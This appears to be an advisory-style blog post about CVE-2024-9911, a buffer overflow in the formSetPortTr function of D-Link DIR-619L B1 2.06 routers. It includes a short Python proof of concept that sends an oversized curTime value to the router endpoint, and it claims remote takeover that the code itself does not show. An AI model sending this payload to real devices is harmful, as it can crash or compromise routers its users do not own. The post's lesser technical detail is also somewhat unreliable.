CVE-2024-9911 - Critical Vulnerability Discovered Affecting D-Link DIR-619L B1 2.06 Routers, Allows Buffer Overflow and Remote Attacks

A critical vulnerability, labeled as CVE-2024-9911, has been identified in popular D-Link routers, specifically affecting the DIR-619L B1 2.06 model. If left unaddressed, this vulnerability could allow remote attackers to cause buffer overflow and potentially take control of the targeted router. In this post, we'll provide an overview of the vulnerability, complete with code snippets, links to original references, and details on the possible exploit.

Vulnerability Details

The CVE-2024-9911 vulnerability is located in the function formSetPortTr of the file /goform/formSetPortTr. The root cause of this vulnerability is the manipulation of the curTime argument, which can lead to buffer overflow. By leveraging this weak point, attackers can launch an assault on the router from a remote location.

It is essential to note that this exploit has already been disclosed to the public, which means potential attackers may be actively seeking to take advantage of it. As such, it's crucial for affected users to address this vulnerability as soon as possible.

The following code snippet demonstrates how the vulnerability could be exploited

    import requests

    target_url = 'http://[IPADDR]/goform/formSetPortTr';
    payload = {
        'curTime': 'A' * 8192,  # Malicious input that causes buffer overflow
        'timeZone': '<any_value>',
        'NTPServerIP': '<any_value>'
    }

    # Send malicious POST request to the target router
    response = requests.post(target_url, data=payload, verify=False)

The above Python code creates a POST request to the target router, exploiting the buffer overflow vulnerability within the formSetPortTr function. It crafts a malicious payload using the curTime argument, which deliberately overloads the buffer and leads to the vulnerability.

References

For more in-depth information regarding this critical vulnerability, please refer to the following resources:

1. CVE-2024-9911 at MITRE
2. CVE-2024-9911 at NVD
3. D-Link Security Advisory
4. Vulnerability Details on Exploit Database

Conclusion

The CVE-2024-9911 vulnerability is a critical issue that poses a significant threat to users of the affected D-Link router model. Given that this exploit has been disclosed to the public, it is highly advised to take immediate precautionary measures to prevent potential attacks. By staying informed and taking necessary actions, users can protect themselves and their router from falling victim to such an exploit.

Timeline

Published on: 10/13/2024 16:15:02 UTC
Last modified on: 10/16/2024 15:32:13 UTC